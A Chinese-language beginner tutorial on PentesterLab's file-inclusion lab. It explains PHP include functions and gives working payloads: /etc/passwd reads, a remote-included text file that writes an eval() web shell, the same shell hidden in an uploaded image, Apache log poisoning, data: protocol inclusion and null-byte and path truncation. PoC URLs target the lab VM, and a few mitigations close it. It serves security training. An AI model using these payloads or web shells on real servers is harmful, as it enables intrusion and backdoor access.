PentesterLab 简介
Web for pentester 是国外安全研究者开发的的一款渗透测试平台。
这个平台包含的主要漏洞如下:
Code injection (代码注入)
Commands injection(命令行注入)
XSS(跨站脚本)
SQL injections(sql注入)
File include(文件包含)
LDAP attacks(LDAP攻击)
File Upload(文件上传)
XML attacks(zXML攻击)
个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab的全套教程,PentesterLab上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。
系列教程:
PentesterLab安装
安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。
前言
这个模块介绍的主要是php文件包含。
php文件包含分为本地包含和远程包含。文件包含有以下几个函数:
- include()
- include_once()
- require()
- require_once()
- fopen()
- readfile()
区别:
- include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
- require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。
在做文件包含之前先了解一些常见的文件包含漏洞。
读取关键文件
Windows:
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件
Linux:
/etc/passwd 读取用户密码
/usr/local/app/php5/lib/php.ini PHP配置文件
/etc/httpd/conf/http.conf apache主配置文件
/etc/my.cnf mysql配置文件
利用方式如:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd
远程包含
前提是allow_url_fopen是打开状态。如远程服务器上新建一个xxx.txt文件,内容如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>
远程包含如http://192.168.199.110/fileincl/example2.php?page=http://www.xxx.com/xxx.txt
此时在服务器根目录下就会生成shell.php文件,内容为一句话木马
<?php eval($_POST[xxx]);?>
本地包含木马
如果目标服务器关闭了allow_url_fopen,则可尝试上传如xxx.jpg。内容如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>
访问如:http://192.168.199.110/fileincl/example2.php?page=/var/www/a.jpg
就能在本地生成shell.php
配合apache日志
apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval($_POST[xxx]);?>
则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址。
利用php协议进行包含
同样allow_url_include需要开启,利用如:http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00
截断包含
- %00截断
截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态
长目录截断
././././././././././././././etc/passwd 或者 ////////////////////////////etc/passwd 或者 ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
注:php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256,超出部分会被系统丢弃。
- 点号截断/boot.ini/……………………
注:php版本小于5.2.8,只适用windows,点号需要长于256
exampl1
<?php require_once '../header.php'; ?>
<?php
if ($_GET["page"]) {
include($_GET["page"]);
}
?>
<?php require_once '../footer.php'; ?>
没有任何过滤,基本上算是为所欲为。
poc:
http://192.168.199.110/fileincl/example2.php?page=/etc/passwd 本地包含
http://192.168.199.110/fileincl/example2.php?page=http://assets.pentesterlab.com/test_include.txt 远程包含(PentesterLab的网站还包含针对此类漏洞的测试,访问此url会显示phpinfo内容)
另外:向url的配置参数里面加上一固态特殊符号(例如引号)。会引起报错如下
Warning: include(/etc'): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening '/etc'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
? PentesterLab 2013
这应该算是个小技巧了吧,从中可以得到如下信息:
脚本的路径:/var/www/fileincl/example1.php
使用的功能:include()。
example2
<?php require_once '../header.php'; ?>
<?php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
?>
<?php require_once '../footer.php'; ?>
后端代码分析
$file = $_GET["page"].".php";
给包含的文件加上.php后缀名,是为了防止本地包含漏洞,限制只包含php后缀名的文件。
preg_replace()函数,正则表达式匹配,并把它替换成相应的字符串。
\x00匹配该十六进制对应的acsii,即NULL
. 匹配任意字符
* 匹配前面的子表达式零次或多次。
更多正则表达式相关可参照:http://www.runoob.com/regexp/regexp-syntax.html
可以使用%00截断,poc如下:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd%00
后面的.php后缀直接被截断。
总结
总的来说,文件包含是个比较常见的漏洞,可以直接getshell
总的来说有以下几种预防的方法:
- php中可以使用 open_basedir配置限制访问权限在指定区域
- 过滤 . (点) / (斜杠) \ (反斜杠)3.禁止服务器远程文件包含(allow_url_include = off)
*本文作者:婷儿小跟班✧,转载请注明来自FreeBuf.COM